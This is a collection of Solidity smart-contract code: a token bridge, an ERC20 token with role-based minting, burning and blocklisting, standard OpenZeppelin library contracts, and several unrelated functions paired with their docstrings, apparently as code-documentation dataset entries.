amount ) external { require( hasRole(MINTER_ROLE, msg.sender), "DecimalBridge: Caller is not a minter" ); address token = tokenBySymbol[symbol]; require(token != address(0), "DecimalBridge: Token is not registered"); DERC20(token).mint(to, amount); } /** * @dev Manually burn token by symbol * * Arguments * * - `symbol` symbol of token. * - `from` address of user. * - `amount` amount of tokens. */ function burnToken( string memory symbol, address from, uint256 amount ) external { require( hasRole(BURNER_ROLE, msg.sender), "DecimalBridge: Caller is not a burner" ); address token = tokenBySymbol[symbol]; require(token != address(0), "DecimalBridge: Token is not registered"); DERC20(token).burn(from, amount); } /** * @dev Grant role for token by symbol * * Arguments * * - `symbol` symbol of token. * - `role` role constant. * - `user` address of user. */ function grantRoleToken( string memory symbol, bytes32 role, address user ) external { require( hasRole(ADMIN_ROLE, msg.sender), "DecimalBridge: Caller is not an admin" ); address token = tokenBySymbol[symbol]; require(token != address(0), "DecimalBridge: Token is not registered"); DERC20(token).grantRole(role, user); } /** * @dev Add enabled chain direction to bridge * * Arguments * * - `_chainId` id of chain. * - `enabled` true - enable chain, false - disable chain. */ function updateChain(uint256 _chainId, bool enabled) external { require( hasRole(ADMIN_ROLE, msg.sender), "DecimalBridge: Caller is not an admin" ); chainList[_chainId] = enabled; } /** * @dev Update name of token * * Arguments * * - `symbol` symbol of token. * - `name` name of token */ function updateTokenName(string memory symbol, string memory name) external { require( hasRole(ADMIN_ROLE, msg.sender), "DecimalBridge: Caller is not an admin" ); address token = tokenBySymbol[symbol]; require(token != address(0), "DecimalBridge: Token is not registered"); DERC20(token).updateName(name); } /** * @dev Pause token * * Arguments * * - `symbol` symbol of token. */ function pauseToken(string memory symbol) external { require( hasRole(PAUSER_ROLE, msg.sender), "DecimalBridge: Caller is not a pauser" ); address token = tokenBySymbol[symbol]; require(token != address(0), "DecimalBridge: Token is not registered"); DERC20(token).pause(); } /** * @dev Unpause token * * Arguments * * - `symbol` symbol of token. */ function unpauseToken(string memory symbol) external { require( hasRole(PAUSER_ROLE, msg.sender), "DecimalBridge: Caller is not a pauser" ); address token = tokenBySymbol[symbol]; require(token != address(0), "DecimalBridge: Token is not registered"); DERC20(token).unpause(); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; import "../utils/Strings.sol"; import "../utils/introspection/ERC165.sol"; /** * @dev External interface of AccessControl declared to support ERC165 detection. */ interface IAccessControl { function hasRole(bytes32 role, address account) external view returns (bool); function getRoleAdmin(bytes32 role) external view returns (bytes32); function grantRole(bytes32 role, address account) external; function revokeRole(bytes32 role, address account) external; function renounceRole(bytes32 role, address account) external; } /** * @dev Contract module that allows children to implement role-based access * control mechanisms. This is a lightweight version that doesn't allow enumerating role * members except through off-chain means by accessing the contract event logs. Some * applications may benefit from on-chain enumerability, for those cases see * {AccessControlEnumerable}. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ abstract contract AccessControl is Context, IAccessControl, ERC165 { struct RoleData { mapping (address => bool) members; bytes32 adminRole; } mapping (bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Modifier that checks that an account has a specific role. Reverts * with a standardized message including the required role. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{20}) is missing role (0x[0-9a-f]{32})$/ * * _Available since v4.1._ */ modifier onlyRole(bytes32 role) { _checkRole(role, _msgSender()); _; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IAccessControl).interfaceId || super.supportsInterface(interfaceId); } /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view override returns (bool) { return _roles[role].members[account]; } /** * @dev Revert with a standard message if `account` is missing `role`. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{20}) is missing role (0x[0-9a-f]{32})$/ */ function _checkRole(bytes32 role, address account) internal view { if(!hasRole(role, account)) { revert(string(abi.encodePacked( "AccessControl: account ", Strings.toHexString(uint160(account), 20), " is missing role ", Strings.toHexString(uint256(role), 32) ))); } } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view override returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual override { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { emit RoleAdminChanged(role, getRoleAdmin(role), adminRole); _roles[role].adminRole = adminRole; } function _grantRole(bytes32 role, address account) private { if (!hasRole(role, account)) { _roles[role].members[account] = true; emit RoleGranted(role, account, _msgSender()); } } function _revokeRole(bytes32 role, address account) private { if (hasRole(role, account)) { _roles[role].members[account] = false; emit RoleRevoked(role, account, _msgSender()); } } } // SPDX-License-Identifier: MIT pragma solidity =0.8.4; library Misc { function recover( bytes32 hashedMsg, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address) { require( uint256(s) <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0, "ECDSA: invalid signature 's' value" ); require(v == 27 || v == 28, "ECDSA: invalid signature 'v' value"); address signer = ecrecover(hashedMsg, v, r, s); require(signer != address(0), "ECDSA: invalid signature"); return signer; } } // SPDX-License-Identifier: MIT pragma solidity =0.8.4; import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Pausable.sol"; import "@openzeppelin/contracts/access/AccessControl.sol"; contract DERC20 is ERC20Pausable, AccessControl { bytes32 public constant ADMIN_ROLE = keccak256("ADMIN_ROLE"); bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE"); bytes32 public constant BURNER_ROLE = keccak256("BURNER_ROLE"); bytes32 public constant PAUSER_ROLE = keccak256("PAUSER_ROLE"); address private owner; string private _name; mapping(address => bool) public isBlockListed; event AddedBlockList(address user); event RemovedBlockList(address user); constructor(string memory symbol) ERC20("", symbol) { owner = msg.sender; _setupRole(DEFAULT_ADMIN_ROLE, msg.sender); _setupRole(ADMIN_ROLE, msg.sender); _setupRole(MINTER_ROLE, msg.sender); _setupRole(BURNER_ROLE, msg.sender); _setRoleAdmin(MINTER_ROLE, ADMIN_ROLE); _setRoleAdmin(BURNER_ROLE, ADMIN_ROLE); _setRoleAdmin(PAUSER_ROLE, ADMIN_ROLE); } /** * @dev Returns the owner of the token. * Binance Smart Chain BEP20 compatibility */ function getOwner() external view returns (address) { return owner; } function name() public view virtual override returns (string memory) { return _name; } /** * @dev Mint token * * Requirements * * - `to` recipient address. * - `amount` amount of tokens. */ function mint(address to, uint256 amount) external { require( hasRole(MINTER_ROLE, msg.sender), "You should have a minter role" ); _mint(to, amount); } /** * @dev Burn token * * Requirements * * - `from` address of user. * - `amount` amount of tokens. */ function burn(address from, uint256 amount) external { require( hasRole(BURNER_ROLE, msg.sender), "You should have a burner role" ); _burn(from, amount); } /** * @dev Pause token */ function pause() external { require( hasRole(PAUSER_ROLE, msg.sender), "You should have a pauser role" ); super._pause(); } /** * @dev Pause token */ function unpause() external { require( hasRole(PAUSER_ROLE, msg.sender), "You should have a pauser role" ); super._unpause(); } /** * @dev Add user address to blocklist * * Requirements * * - `user` address of user. */ function addBlockList(address user) external { require( hasRole(ADMIN_ROLE, msg.sender), "You should have an admin role" ); isBlockListed[user] = true; emit AddedBlockList(user); } /** * @dev Remove user address from blocklist * * Requirements * * - `user` address of user. */ function removeBlockList(address user) external { require( hasRole(ADMIN_ROLE, msg.sender), "You should have an admin role" ); isBlockListed[user] = false; emit RemovedBlockList(user); } /** * @dev Update name of token * * Requirements * * - `name_` name of token */ function updateName(string memory name_) external { require( hasRole(ADMIN_ROLE, msg.sender), "You should have an admin role" ); _name = name_; } /** * @dev check blocklist when token minted, burned or transfered * * Requirements * * - `from` source address * - `to` destination address */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual override { ERC20Pausable._beforeTokenTransfer(from, to, amount); require(isBlockListed[from] == false, "Address from is blocklisted"); require(isBlockListed[to] == false, "Address to is blocklisted"); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant alphabet = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = alphabet[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../ERC20.sol"; import "../../../security/Pausable.sol"; /** * @dev ERC20 token with pausable token transfers, minting and burning. * * Useful for scenarios such as preventing trades until the end of an evaluation * period, or having an emergency switch for freezing all token transfers in the * event of a large bug. */ abstract contract ERC20Pausable is ERC20, Pausable { /** * @dev See {ERC20-_beforeTokenTransfer}. * * Requirements: * * - the contract must not be paused. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override { super._beforeTokenTransfer(from, to, amount); require(!paused(), "ERC20Pausable: token transfer while paused"); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC20.sol"; import "./extensions/IERC20Metadata.sol"; import "../../utils/Context.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract Pausable is Context { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ constructor () { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC20.sol"; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); }
Burn token Requirements - `from` address of user. - `amount` amount of tokens./
function burn(address from, uint256 amount) external { require( hasRole(BURNER_ROLE, msg.sender), "You should have a burner role" ); _burn(from, amount); }
9,919,781
./full_match/80001/0x48Bb9045d4F5D2D43B2f5Bb7d9307fe1889AeE68/sources/project_/contracts/PacificRimPaymentContract.sol
emit whitelistSalePerTransactionMintLimitUpdated(_whitelistSalePerTransactionMintLimit);
function updateWhitelistSalePerTransactionMintLimit(uint256 _whitelistSalePerTransactionMintLimit) public { require(hasRole(ADMIN_ROLE, _msgSender()),"Dapp: Must have admin role to update."); require(_whitelistSalePerTransactionMintLimit>0,"Dapp: Invalid value!"); require(_whitelistSalePerTransactionMintLimit!=publicSalePerTransactionMintLimit,"Dapp: Limit value is same sa previous!"); require(_whitelistSalePerTransactionMintLimit<=whitelistSaleMintLimit,"Dapp: Per transaction mint limit cannot be greater than whitelist sale mint limit!"); whitelistSalePerTransactionMintLimit = _whitelistSalePerTransactionMintLimit; }
5,702,689
./partial_match/1/0xad108A81e22FAA725Ea3c58788D0ff8245204A7f/sources/VolumeRestrictionTM.sol
Use to get the volume of token that being traded at a particular day (`_at` + 24 hours) for a given user _user Address of the token holder _at Timestamp/
function getTotalTradedByUser(address _user, uint256 _at) external view returns(uint256) { return (bucketData.bucket[_user][_at].add(bucketData.defaultBucket[_user][_at])); }
4,389,439
./partial_match/1/0x18edD6A51540838dac313fe05Bc7ABD85F8f5Bd1/sources/Solluks.sol
Withdraw ether from this contract (Callable by owner)/
function withdraw() public onlyOwner() { uint balance = address(this).balance; payable(msg.sender).transfer(balance); }
15,746,198
./partial_match/4/0xdEa2513033a6B4b1BA03Ce05fA6e6e2484343bAE/sources/MarketPlace.sol
nft.SellerApproveMarket(msg.sender,address(this),tokenId);
function closeBidding(uint256 tokenId) public { address tokenOwner = nft.ownerOf(tokenId); require(tokenOwner == msg.sender,"sender is not owner"); require(bidderDetails[tokenId].is_available == true,"token is not in bidding"); bidderDetails[tokenId].is_available = false; bidderDetails[tokenId].auction_stage = true; bidderDetails[tokenId].owner = tokenOwner; bidderDetails[tokenId].bid_winner = bidderDetails[tokenId].bidder[bidderDetails[tokenId].bidder.length - 1]; nft.SellerApproveMarket(msg.sender,address(this),tokenId); }
8,580,564
./full_match/80001/0x911122c6760Aa4843382cB3d7E3a073F56459256/sources/LP/CKRouter.sol
Swaps CK for USDC using the pool./ transfer the specified CK from the sender to the CK-USDC pair get the USDC balance of the recipient before swapping get the reserve values from the CK-USDC pair ensure the ending USDC balance of the recipient was above the minimum slippage
function swapCKForUSDC( uint256 amountCk, uint256 amountOutMin, address to ) external nonReentrant { _safeTransferFromCK(msg.sender, address(ckCoinPair), amountCk); uint256 balanceBefore = usdCoin.balanceOf(to); (uint256 reserveCk, uint256 reserveUsdc) = ckCoinPair.getReserves(); uint256 amountInput = ckCoin.balanceOf(address(ckCoinPair)) - reserveCk; uint256 amountOutput = _getAmountOut(amountInput, reserveCk, reserveUsdc); ckCoinPair.swap(0, amountOutput, to); require(usdCoin.balanceOf(to) - balanceBefore >= amountOutMin, "Insufficient output amount"); }
5,590,603
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/access/Ownable.sol"; /** * @title Whitelist * @author Alberto Cuesta Canada * @dev Implements a simple whitelist of addresses. */ contract Whitelist is Ownable { event MemberAdded(address member); event MemberRemoved(address member); mapping (address => bool) members; /** * @dev The contract constructor. */ constructor() public Ownable() { } /** * @dev A method to verify whether an address is a member of the whitelist * @param _member The address to verify. * @return Whether the address is a member of the whitelist. */ function isMember(address _member) public view returns(bool) { return members[_member]; } /** * @dev A method to add a member to the whitelist * @param _member The member to add as a member. */ function addMember(address _member) public onlyOwner { require( !isMember(_member), "Address is member already." ); members[_member] = true; emit MemberAdded(_member); } /** * @dev A method to remove a member from the whitelist * @param _member The member to remove as a member. */ function removeMember(address _member) public onlyOwner { require( isMember(_member), "Not member of whitelist." ); delete members[_member]; emit MemberRemoved(_member); } }
A method to verify whether an address is a member of the whitelist _member The address to verify. return Whether the address is a member of the whitelist./
function isMember(address _member) public view returns(bool) { return members[_member]; }
13,011,344
